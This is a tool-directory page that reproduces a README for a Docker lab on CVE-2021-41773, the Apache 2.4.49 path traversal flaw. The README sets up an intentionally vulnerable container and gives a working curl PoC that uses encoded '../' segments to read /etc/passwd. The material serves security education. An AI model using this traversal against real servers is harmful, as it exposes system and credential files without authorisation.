Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2021-41773 — Docker-based lab environment for CVE-2021-41773 Apache path traversal vulnerability with PoC exploit and detailed walkthrough for security testing and education. | Kitploit
Tools/GitHubGitHub/jiyun02/cve-2021-41773
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubjiyun02/cve-2021-41773

cve-2021-41773

Docker-based lab environment for CVE-2021-41773 Apache path traversal vulnerability with PoC exploit and detailed walkthrough for security testing and education.

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-41773 – Apache Path Traversal Report

Summary

  • Vulnerability found in Apache HTTP Server 2.4.49 that can expose sensitive files on the system through a Path Traversal attack depending on the web server configuration
  • Path Traversal: An attacker can access files outside the web root using paths containing ../

Information

  • Vulnerability Name: CVE-2021-41773
  • Affected Version: Apache HTTP Server 2.4.49
  • Vulnerability Type: Path Traversal
  • Official Patch Status: Patched in 2.4.50 and later

Lab Environment Setup

  • Base Image : 'httpd:2.4.49' (DockerHub)
  • Container Execution Method : Dockerfile + docker-compose.yml
  • Running Port : 8080 → mapped to container port 80
  • Apache Configuration Change : Modified to 'Require all granted' (enabling Path Traversal)

How to Run the Environment

  • git clone https://github.com/JIYUN02/cve-2021-41773.git
  • cd cve-2021-41773
  • docker-compose up --build

Vulnerability PoC

  • curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Detailed Steps

  1. Run the directory for the assignment image
image
  1. Create Dockerfile image

-> Base Image: httpd:2.4.49 (version with the vulnerability)

-> 'sed -i 's/Require all denied/Require all granted/g' : Allow Path Traversal and external access

  1. docker-compose.yml image

-> Define Apache

-> Map port 8080 to container port 80

  1. Run docker

    image

  2. Run PoC

    image

-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

-> /etc/passwd contains sensitive information, %2e is the encoded form of .. which is a command to move to the parent directory

-> Manipulating the path causes the server to access /etc/passwd and output it

  1. Execution result image

-> As shown in the image above, sensitive directories can be accessed

Repository URL Accessible via Fork

https://github.com/JIYUN02/cve-2021-41773

-> Commit history exists

Download Tool